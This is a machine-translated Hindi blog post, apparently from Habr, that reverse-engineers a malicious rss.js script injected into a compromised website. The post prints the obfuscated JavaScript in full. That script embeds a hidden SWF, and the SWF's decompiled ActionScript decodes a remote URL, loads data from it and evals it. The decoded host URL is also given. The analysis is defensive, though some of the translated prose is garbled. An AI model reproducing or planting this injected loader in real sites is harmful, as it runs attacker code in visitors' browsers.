🙆🏽 🐤 🚯 साइट या रिवर्स इंजीनियरिंग एक्सप्लॉइट। WF.254 पर वायरस 👈🏽 🤟 💇🏿

यह सब इस तथ्य से शुरू हुआ कि व्यवस्थापक ने मेरे काम करने वाले लैपटॉप (विन एक्सपी) पर एक नया एंटीवायरस स्थापित किया। एक अच्छा दिन, जब मैं अपनी एक साइट पर गया, तो मुझे यह अप्रिय चित्र मिला:

अद्यतन: Dr.Web एंटी-वायरस, स्क्रिप्ट अभी भी यहाँ साइट पर है

बेशक, पहली चीज जो मैं करना चाहता था वह इसे हटा दिया गया था, इसके लिए आपको बस एफ़टीपी के माध्यम से जाना था और rss.js फ़ाइल को नाखून करना था। लेकिन फिर अचानक यह पता चला कि मैं एफ़टीपी के माध्यम से साइट तक नहीं पहुंच सकता, क्योंकि होस्टिंग और डोमेन मेरा नहीं है, और जाहिर है कि प्रवेशकर्ताओं ने हाल ही में अपना उपयोगकर्ता नाम और पासवर्ड बदल दिया है। मालिकों ने इसे प्राप्त करने का प्रबंधन नहीं किया, लेकिन यह समझने के लिए कि वास्तव में वायरस क्या कर रहा था, बहुत उत्सुक था ...

इसलिए, मैंने एक काम करने वाले लैपटॉप पर ऐसा करने की हिम्मत नहीं की, मैंने घर पर ऐसा करने का फैसला किया, क्योंकि मेरे घर के कंप्यूटर पर मुझे डर होना चाहिए ~~कि कुछ भी नहीं था~~ एंटीवायरस चिल्ला रहा था और काम में हस्तक्षेप नहीं किया। सबसे पहले, मैंने देखा कि rss.js क्या करता है।

function addNewObject () { try { var ua = navigator.userAgent.toLowerCase(); if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) { var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44); var div = document.createElement('div'); div.innerHTML = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">'; div.innerHTML += '<param name="allowScriptAccess" value="always" \/>'; div.innerHTML += '<param name="movie" value="'+ counter +'" \/>'; div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>'; div.innerHTML += '<\/object>'; div.style.position = 'absolute'; div.style.left = '-100px'; div.style.top = '-100px'; document.body.insertBefore(div, document.body.children[0]); } } catch (e) { if (document.body == undefined || document.body.children[0] == undefined) { setTimeout('addNewObject()', 50); } } } addNewObject();

कोड से यह स्पष्ट है कि स्क्रिप्ट swf बनाता है और इसे पेज कोड में एम्बेड करता है, यह समझने के लिए कि यह कहां से swf हो जाता है हम कोड के इस अजीब टुकड़े का डी-ऑबस्पैक्शन करते हैं:

 var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);

ऐसा करने के लिए, यह सरल फ़ाइल बनाएं और चलाएं

 <!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript"> var jtFRvRDNg = ["subs\x74\x72", "F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61", "\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp", "\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"]; var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44); alert(counter); </script> </body> </html>

और तुरंत देखें कि दुर्भावनापूर्ण swf कहाँ लोड है

अद्यतन: कड़ी कड़ी

अब सबसे आसान काम बचा है, यह पता लगाने के लिए कि यह फ्लैश मूवी क्या करती है, थोड़ी सी गूगल ने कई swf डिकंपाइलर्स पाए, लेकिन यह पता चला कि फाइल डिकम्पोजिशन से सुरक्षित है

अद्यतन: यह वह जगह है जहाँ अपघटन से swf "संरक्षित" था

और आप समझ नहीं सकते हैं कि नग्न आंखों के साथ एक दुर्भावनापूर्ण ActionScript क्या है:

लंबा असंगत कोड

 // 0 // Action tag #0 for (;;) { if (1847114876 == 1847115088) { false; 1238734783 & -1238734784; function decrypt(hex) { var __reg5; var __local0; if (205673138 ^ 205673138) { __local0 = __reg5 = "A"; } else { __reg5 = "A"; var __reg1; __local0 = __reg1 = 0; } __local0; for (;;) { 408838581 ^ 408838581; 2136550932 & -2136550933; if (__reg1 >= hex.B) { break; } if (1890669217 ^ 1890669217) { "C"; } else { var __reg3; if (!(1502222836 ^ 1502222836)) { __reg3 = hex.C(__reg1, 2); } } 1234629013 ^ 1234629013; 127070979 & -127070980; var __reg2 = int("D" + __reg3); 1130412752 ^ 1130412752; __reg2 = __reg2 ^ 5; 1618839222 & -1618839223; if (!(1876906722 ^ 1876906722)) { __reg5 = __reg5 + chr(__reg2); } var __local1; var __local2; if (1459356484 ^ 1459356484) { __local1 = __reg1; __local2 = 2; } else { __reg1 = __reg1 + 2; __local1 = 1035411512; __local2 = -1035411513; } __local1 & __local2; } return __reg5; } function checkFileLoaded() { }; 1791047020 & -1791047021; var = ""; 1234090841 ^ 1234090841; 353477196 ^ 353477196; if (!(1023518590 ^ 1023518590)) { ("E", ()); } 1053853491 & -1053853492; 657257249 & -657257250; var = (, 200); 503511606 ^ 503511606; 694364267 ^ 694364267; 2090915988 & -2090915989; loadVariables(G(), E); if (736039747 != 736040114) { continue; } } }

एक छोटा सा गोग्लिंग, जिसमें मुझे स्वनिर्मित डिकम्पाइलर के साथ अंतर्निहित डोब्यूशन फ़ंक्शन मिला, और यह कोड पहले से ही बहुत अधिक पठनीय है:

 function decrypt(hex) { var _loc5_ = ""; var _loc1_ = 0; while(_loc1_ < hex.length) { var _loc3_ = hex.substr(_loc1_,2); var _loc2_ = int("0x" + _loc3_); _loc2_ = _loc2_ ^ 5; _loc5_ = _loc5_ + chr(_loc2_); _loc1_ = _loc1_ + 2; } return _loc5_; } function checkFileLoaded() { if(container.data != undefined) { var _loc1_ = container.data; _loc1_ = decrypt(_loc1_); flash.external.ExternalInterface.call("eval",_loc1_); clearInterval(loadingInterval); } } var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030"; this.createEmptyMovieClip("container",this.getNextHighestDepth()); var loadingInterval = setInterval(checkFileLoaded,200); loadVariables(decrypt(url),container);

अद्यतन: deobfuscator के साथ SWF डिकंपाइलर

यह पहले से ही अधिक दिलचस्प है, हम देखते हैं कि एक url है, जिसके लिए पिंग जाता है, लेकिन यहां तक कि "संरक्षित" swf में url एन्कोडेड है, दोस्तों ने बहुत कोशिश की। मेरे पास हाथ पर फ्लैश संपादक नहीं है, मुझे एक एक्शन स्क्रिप्ट ऑनलाइन कंपाइलर मिला, एक कोड का एक टुकड़ा कॉपी किया जो एक उज्ज्वल यूआरएल को प्रदर्शित करता है और प्रदर्शित करता है:

 class Test { function decrypt(hex) { var _loc5_ = ""; var _loc1_ = 0; while(_loc1_ < hex.length) { var _loc3_ = hex.substr(_loc1_,2); var _loc2_ = int("0x" + _loc3_); _loc2_ = _loc2_ ^ 5; _loc5_ = _loc5_ + chr(_loc2_); _loc1_ = _loc1_ + 2; } return _loc5_; } public function Test(mc) { var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030"; trace(decrypt(url)); } public static function main(mc:MovieClip) { var test = new Test(mc); } }

अपडेट: यहां आप सीधे ब्राउज़र में एक्शनस्क्रिप्ट चला सकते हैं

अद्यतन: परिणामस्वरूप, हमें यूआरएल मिलता है:

  http://xatyta.pp.ua/counter/hit/client_de5df061c99066d82cfc437f2b099455

इस कारनामे का अर्थ मेरे लिए एक रहस्य बना रहा, कोई व्यक्ति केवल साइट विज़िट पर आंकड़े एकत्र करता है? और हेबर को क्या लगता है, मैं टिप्पणियों का इंतजार कर रहा हूं, हो सकता है कि कोई एक समान हो?

PS ने जानबूझकर एंटीवायरस, डिकम्प्रेसर, ऑनलाइन सेवाओं और अन्य लिंक के लिंक नहीं दिए

अद्यतन: एक सर्वेक्षण में जोड़ा गया

अद्यतन 2: लिंक जोड़ा गया

साइट या रिवर्स इंजीनियरिंग एक्सप्लॉइट। WF.254 पर वायरस

More articles: